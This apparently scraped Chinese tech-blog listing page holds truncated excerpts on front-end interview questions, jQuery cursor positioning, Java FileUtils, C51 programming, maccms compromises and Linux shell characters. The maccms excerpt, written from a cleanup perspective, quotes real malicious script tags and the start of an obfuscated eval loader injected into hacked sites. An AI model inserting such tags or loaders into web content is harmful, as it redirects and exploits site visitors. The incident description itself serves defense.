abc-defg

前端百问

馋奶兔 提交于 2020-03-08 19:58:41
问:如何理解 html 标签语义化? html5 新出的标签,每个标签都有自己语义,什么标签做什么事。让人看的懂,也让机器可以看的懂,利于 SEO 。 问: css 权重是什么? 设置节点样式的方式有很多种,不同的方式它们的权重并不相同,当它们给一个节点设置同一个样式时,谁的权重高谁就生效。 important :无限高 行内样式:权重值为 1000 id 选择器:权重值为 100 类、伪类、属性选择器:权重值为 10 元素选择器:权重值为 1 问:盒模型有几种,它们区别是什么? 标准盒模型:设置的宽高只是包括内容区,内边距和边框另算。 怪异盒模型:设置的宽高包含了内边距和边框。 使用 box-sizing 属性设置: border-box :怪异盒模型、 content-box :标准盒模型。 问:什么是 BFC ? 块级格式上下文,一句话来说就是让块级元素有块级元素该有的样子,触发 BFC 可以清除浮动、让 margin 不重叠。 问:如何触发 BFC ? float 的值不为 none 。 overflow 的值不为 visible 。 display 的值为 table-cell 、 table-caption 和 inline-block 之一。 position 的值不为 static 或 releative 中的任何一个。 问:你常用的清除浮动方式是什么?

jQuery在文本区域中设置光标位置

本小妞迷上赌 提交于 2020-02-26 19:27:28
如何使用jQuery在文本字段中设置光标位置? 我有一个带有内容的文本字段,我希望用户将光标放在该字段上时将光标定位在某个偏移处。 该代码应该看起来像这样: $('#input').focus(function() { $(this).setCursorPosition(4); }); 该setCursorPosition函数的实现是什么样的? 如果您的文本字段的内容为abcdefg,则此调用将导致光标的定位如下:abcd ** | ** efg。 Java具有类似的功能setCaretPosition。 javascript是否存在类似的方法? 更新:我修改了CMS的代码以与jQuery配合使用,如下所示: new function($) { $.fn.setCursorPosition = function(pos) { if (this.setSelectionRange) { this.setSelectionRange(pos, pos); } else if (this.createTextRange) { var range = this.createTextRange(); range.collapse(true); if(pos < 0) { pos = $(this).val().length + pos; } range.moveEnd('character'

java面向对象之IO篇(4)IFileUtils【最重要的IO知识】

只谈情不闲聊 提交于 2020-02-26 18:27:33
FileUtils 一. 入门案例 该工具不是Java提供的,必须导包 举例使用: 二. 文件读方法 1. 文件读写方法 方法名 描述 byte[] readFileToByteArray (File file) 读取 file 文件数据到字节数组中。 String readFileToString(File file, String encoding) 读取 file 文件数据到字符串中,使用 encoding 指定的字符编码读取。 List<String> readLines (File file, String encoding) 读取 file 文件数据到字符串集合中,集合中每个字符串对应文件中一行数据。使用 encoding 指定的字符编码读取。 举例使用: public static void main(String[] args) throws IOException { //1、 读取纯文本 String x1 = FileUtils. readFileToString ( new File( "测试01.txt" ), "utf-8" ); System. out .println(x1); //2、 读取纯文本,把文件中,一行数据读取成一个字符串 List<String> list2 = FileUtils. readLines ( new File(

单片机C语言程序设计基础知识全解析

心已入冬 提交于 2020-01-08 09:54:13
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 标识符和关键字 (一)标识符 标识符是用来表示源程序中自定义对象名称的符号。其中的自定义对象可以是常量、变量、数组、结构、语句标号以及函数等。 在C51语言中,标识符可以由字母(a~z,A~Z)、数字(0~9)和下划线“_”组成,最多可支持32个字符。 C51标识符的定义不是随意的,应遵循“简洁”和“见名知意”的原则,并需要符合一定的规则: ➢ 标识符的第一个字符必须是字母或者下划线,不能为数字。由于有些编译系统专用的标识符以下划线开头,所以用户在定义标识符时一般不要以下划线开头。 ➢ C51的标识符区分大小写,例如“ch1”和“Ch1”表示两个不同的标识符。 ➢ 用户自定义的标识符不能与系统保留的关键字重复。 (二)关键字 关键字是C51编译器保留的一些特殊标识符,具有特定的含义和用法。单片机C51程序语言继承了ANSI C标准定义的32个关键字,如表3-1所示。 表3-1 C51的关键字 同时C51又结合单片机硬件的特点扩展了19个关键字: _at_ idata sfr16 alien interrupt small bdata large _task_ code bit pdata using reentrant xdata compact sbit data sfr C51数据类型 表3

苹果cms漏洞POC原理分析与V8 V10被挂马解决办法分享

梦想与她 提交于 2020-01-06 20:57:49
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 苹果CMS漏洞 是越来越多了,国内很多电影网站都使用的是maccms V10 V8版本,就在2020年初该maccms漏洞爆发了,目前极少数的攻击者掌握了该EXP POC,受该BUG的影响,百分之80的电影站都被攻击了,很多电影站的站长找到我们SINE安全来解决网站被挂马的问题,通过分析我们发现大部分客户网站在数据库中都被插入了挂马代码,<script src=https://lefengtv.com/js/tjj.js></script><script src=https://pkvod.com/1.js</script>,尤其电影片名d_name值被直接篡改,并且是批量挂马,导致用户打开网站访问直接弹窗广告并跳转。 JS挂马代码如下: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>3 5?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e (c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+

在Bash中提取子字符串

不想你离开。 提交于 2019-12-24 20:09:08
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 给定文件名格式 someletters_12345_moreleters.ext ,我想提取5位数字并将其放入变量中。 因此,为了强调这一点,我有一个文件名,其中包含x个字符,然后是一个五位数的序列,在两侧用单个下划线包围,然后是另一组x个字符。 我想使用5位数字并将其放入变量中。 我对实现此目标的许多不同方式非常感兴趣。 #1楼 如果有人需要更严格的信息,您也可以像这样在man bash中搜索它 $ man bash [press return key] /substring [press return key] [press "n" key] [press "n" key] [press "n" key] [press "n" key] 结果: ${parameter:offset} ${parameter:offset:length} Substring Expansion. Expands to up to length characters of parameter starting at the character specified by offset. If length is omitted, expands to the substring of parameter start‐ ing

几百万数据放入内存不会把系统撑爆吗?

笑着哭i 提交于 2019-12-21 17:02:47
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 在公司有一个需求是要核对一批数据,之前的做法是直接用SQL各种复杂操作给怼出来的,不仅时间慢,而且后期也不好维护,就算原作者来了过一个月估计也忘了SQL什么意思了,于是有一次我就想着问一下之前做这个需求的人为什么不将这些数据查出来后在内存里面做筛选呢?直接说了你不怕把内存给撑爆吗?此核算服务器是单独的服务器,配置是四核八G的,配置堆的大小是4G。本着怀疑的精神,就想要弄清楚几百万条数据真的放入内存的话会占用多少内存呢? 计算机的存储单位 计算机的存储单位常用的有 bit 、 Byte 、 KB 、 MB 、 GB 、 TB 后面还有但是我们基本上用不上就不说了,我们经常将 bit 称之为比特或者位、将 Byte 简称为 B 或者字节,将 KB 简称为 K ,将 MB 称之为M或者兆,将 GB 简称为 G 。那么他们的换算单位是怎样的呢? 换算关系 首先我们得知道在计算机中所有数据都是由 0 1 来组成的,那么存储 0 1 这些二进制数据是由什么存放呢?就是由 bit 存放的,一个 bit 存放一位二进制数字。所以 bit 是计算机 最小的存储单位 。 大部分计算机目前都是使用8位的块,就是我们上面称之为的字节 Byte ,来作为计算机容量的基本单位。所以我们一般称一个字符或者一个数字都是称之为占用了多少字节。

25.shell特殊符号cut命令 sort wc uniq tee tr split命令

馋奶兔 提交于 2019-11-28 19:28:33
8.10 shell特殊符号cut命令 8.11 sort wc uniq命令 8.12 tee tr split命令 8.13 shell特殊符号下 8.10 shell特殊符号cut命令: ~1. *任意个任意字符 通配符 ~2. ?任意一个字符 代表任意的一个字符 ~3. #注释字符 前面加#,代表不生效。可用在解释说明 ~4. \脱义字符 (详细看实例) 取消掉原意,只代表他本身,可用\ ~5. |管道符 下面有讲和管道符有关的命令 实例 4. [root@afeilinux-01 ~]# a=1 [root@afeilinux-01 ~]# b=2 [root@afeilinux-01 ~]# c=$a$b 我们想让c=$a$b这串字符本身是不生效的,因为我们用$会调用a的变量 [root@afeilinux-01 ~]# echo $c 所以他会显示,a和b的变量 12 [root@afeilinux-01 ~]# c='$a$b' 我们可以加单引号来代表c=$a$b的本身 [root@afeilinux-01 ~]# echo $c $a$b [root@afeilinux-01 ~]# c=\$a\$b 也可以用脱义字符\反推一下,来代表$a或$b这些字符本身 [root@afeilinux-01 ~]# echo $c $a$b -----------------